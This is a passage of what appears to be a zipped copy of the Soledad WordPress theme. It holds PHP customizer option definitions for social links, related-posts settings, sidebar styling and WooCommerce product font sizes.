	'label'    => __( 'StumbleUpon', 'soledad' ),
	'id'       => 'penci_stumbleupon',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Wechat', 'soledad' ),
	'id'       => 'penci_wechat',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Weibo', 'soledad' ),
	'id'       => 'penci_weibo',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'LINE', 'soledad' ),
	'id'       => 'penci_line',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Viber', 'soledad' ),
	'id'       => 'penci_viber',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Discord', 'soledad' ),
	'id'       => 'penci_discord',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'RSS Link', 'soledad' ),
	'id'       => 'penci_rss',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Slack', 'soledad' ),
	'id'       => 'penci_slack',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Mixcloud', 'soledad' ),
	'id'       => 'penci_mixcloud',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Goodreads', 'soledad' ),
	'id'       => 'penci_goodreads',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Trip Advisor', 'soledad' ),
	'id'       => 'penci_tripadvisor',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Tik tok', 'soledad' ),
	'id'       => 'penci_tiktok',
	'type'     => 'soledad-fw-text',
);
$newsocial_array = array(
	'Dailymotion',
	'Blogger',
	'Delicious',
	'Deviantart',
	'Digg',
	'Evernote',
	'Forrst',
	'Grooveshark',
	'Lastfm',
	'Myspace',
	'Paypal',
	'Skype',
	'Window',
	'WordPress',
	'Yahoo',
	'Yandex',
	'Threads',
	'Bluesky',
	'Yelp',
);
foreach ( $newsocial_array as $social ) {
	$social_setting = 'penci_' . strtolower( $social );
	$options[]      = array(
		'default'  => '',
		'sanitize' => 'sanitize_text_field',
		'label'    => $social,
		'id'       => $social_setting,
		'type'     => 'soledad-fw-text',
	);
}
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Douban', 'soledad' ),
	'id'       => 'penci_douban',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'QQ', 'soledad' ),
	'id'       => 'penci_qq',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     N\1*  *  L  inc/customizer/config/sections/penci_section_spost_related_posts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Box', 'soledad' ),
	'id'       => 'penci_post_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Box on Mobile', 'soledad' ),
	'id'       => 'penci_post_related_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Related Posts Display in a Grid Layout ( not Slider )', 'soledad' ),
	'id'       => 'penci_post_related_grid',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top', 'soledad' ),
	'id'       => 'penci_post_related_rm_border',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Related Posts Style:', 'soledad' ),
	'id'       => 'penci_related_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Related Posts By:', 'soledad' ),
	'id'       => 'penci_related_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => 'Categories',
		'tags'        => 'Tags',
		'primary_cat' => 'Primary Category from "Yoast SEO" or "Rank Math" plugin'
	)
);
$options[] = array(
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Related Posts', 'soledad' ),
	'id'       => 'penci_related_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sort Order Related Posts', 'soledad' ),
	'id'       => 'penci_related_sort_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Related Posts', 'soledad' ),
	'id'       => 'penci_related_posts_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_related_posts_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Titles Related Posts', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Posts Format Icons in Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date on Related Posts', 'soledad' ),
	'id'       => 'penci_hide_date_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Related Posts Carousel Auto Play', 'soledad' ),
	'id'       => 'penci_post_related_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Dots On Carousel Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_dots',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Next/Prev Button On Carousel Related Posts', 'soledad' ),
	'id'       => 'penci_post_related_arrows',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'label'    => __( 'Amount of Related Posts', 'soledad' ),
	'id'       => 'penci_numbers_related_post',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_numbers_related_post',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Exclude Featured Category from Related Posts based on Categories', 'soledad' ),
	'id'          => 'penci_post_related_exclusive_cat',
	'description' => __( 'Featured Category is category you selected to filter slider via Customize > Featured Slider > General. This option will help you remove that category on related posts based on categories', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'          => 'penci_section_related_post_popup',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/related-posts-popup.png">this image</a> to know what is "Related Posts Popup"', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Related Posts Popup', 'soledad' ),
	'id'       => 'penci_related_post_popup',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Popup on Mobile', 'soledad' ),
	'id'       => 'penci_related_post_popup_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Position of Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_position',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'  => 'Left',
		'right' => 'Right'
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Related Posts Popup By:', 'soledad' ),
	'id'       => 'penci_rltpopup_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Categories', 'soledad' ),
		'tags'        => __( 'Tags', 'soledad' ),
		'primary_cat' => __( 'Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sort Order Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_sort_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'Words Length for Post Titles on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_numpost',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_numpost',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Padding Bottom of Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_padding_bottom',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_padding_bottom',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Date on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpopup_hide_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Related Posts Popup on Mobile', 'soledad' ),
	'id'       => 'penci_rltpopup_hide_mobile',
	'type'     => 'soledad-fw-toggle',
);

return $options;PK     N\fG/  G/  H  inc/customizer/config/sections/penci_section_sidebar_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'General', 'soledad' ),
	'id'          => 'penci_sidebar_heading_01',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Enable Sticky Sidebar', 'soledad' ),
	'id'       => 'penci_sidebar_sticky',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Forums', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbforums',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Forum', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbforum',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Disable Sidebar for BBPress Topic', 'soledad' ),
	'id'       => 'penci_dis_sidebar_bbtoppic',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Widget Styles', 'soledad' ),
	'id'          => 'penci_sidebar_heading_02',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Sidebar Style', 'soledad' ),
	'id'       => 'penci_sidebar_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default', 'soledad' ),
		'pcsb-boxed-whole'  => __( 'Boxed Whole Sidebar', 'soledad' ),
		'pcsb-boxed-widget' => __( 'Boxed Widgets on Sidebar', 'soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Boxed on "Custom HTML" widget?', 'soledad' ),
	'id'          => 'penci_sidebar_disable_phtml',
	'description' => __( 'This option just applies on "Custom HTML" widget & you\'ve selected sidebar style is "Boxed Widgets"', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Padding Value on Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_sidebar_padding',
	'ids'      => array(
		'desktop' => 'penci_sidebar_padding',
		'mobile'  => 'penci_sidebar_padding_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Custom Padding Value on Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_sidebar_padding_mobile',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Borders Type on Sidebar Boxed Styles', 'soledad' ),
	'id'          => 'penci_sbbx_bdstyle',
	'description' => __( 'Some types need to adjust the borders width below to a minimum of 4px to see how it works.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => __( 'Default ( Solid )', 'soledad' ),
		'dotted' => __( 'Dotted', 'soledad' ),
		'dashed' => __( 'Dashed', 'soledad' ),
		'double' => __( 'Double', 'soledad' ),
		'groove' => __( 'Groove', 'soledad' ),
		'ridge'  => __( 'Ridge', 'soledad' ),
		'inset'  => __( 'Inset', 'soledad' ),
		'outset' => __( 'Outset', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Borders Width on Sidebar Boxed Styles', 'soledad' ),
	'id'       => 'penci_sidebar_boxed_bdw',
	'ids'      => array(
		'desktop' => 'penci_sidebar_boxed_bdw',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '29.1',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Sidebar Width', 'soledad' ),
	'id'       => 'penci_sidebar_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '%',
			'default' => '29.1',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'description' => __( 'This option will override the sidebar width set by % above. Default is 340px.', 'soledad' ),
	'label'       => __( 'Custom Sidebar Width in Pixel', 'soledad' ),
	'id'          => 'penci_sidebar_width_px',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_sidebar_width_px',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '21.5',
	'sanitize' => 'absint',
	'label'    => __( 'Sidebar Width on Two Sidebars Layout', 'soledad' ),
	'id'       => 'penci_2sidebar_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_2sidebar_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '%',
			'default' => '21.5',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'description' => __( 'This option will override the sidebar width set by % above. Default is 300px.', 'soledad' ),
	'label'       => __( 'Sidebar Width on Two Sidebars Layout in Pixel', 'soledad' ),
	'id'          => 'penci_2sidebar_width_px',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_2sidebar_width_px',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '50',
	'sanitize' => 'absint',
	'label'    => __( 'Space Between Sidebar & Content', 'soledad' ),
	'id'       => 'penci_sidebar_space',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_space',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '50',
		),
	),

);
$options[] = array(
	'default'  => '60',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'id'       => 'penci_sidebar_widget_margin',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_sidebar_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '60',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_heading_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Remove Border Bottom on the list in Widgets', 'soledad' ),
	'description' => __( 'This option will remove the border-bottom on widgets: Soledad Latest Posts, Soledad Popular Posts, Categories,...', 'soledad' ),
	'id'          => 'penci_sidebar_rm_bdbottom',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'id'       => 'penci_sidebar_heading_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1'           => __( 'Default Style', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_sidebar_heading_image_8',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_sidebar_heading8_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __( 'No Repeat', 'soledad' ),
		'repeat'    => __( 'Repeat', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pcalign-center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'id'       => 'penci_sidebar_heading_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pciconp-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pciconp-right' => 'Right',
		'pciconp-left'  => 'Left',
	)
);
$options[] = array(
	'default'  => 'pcicon-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     N\h`  `  H  inc/customizer/config/sections/pencidesign_woo_typo_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_loop_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'pencidesign_woo_product_loop_title_m_font_size',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Item Title', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_title_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_title_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'pencidesign_woo_product_loop_list_title_m_font_size',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Item Title on Listing Layout', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_list_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_list_title_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_list_title_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_meta_m_font_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Meta', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_meta_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_meta_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_meta_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_price_m_font_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_price_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_price_font_size',
		'mobile'  => 'pencidesign_woo_product_loop_price_m_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
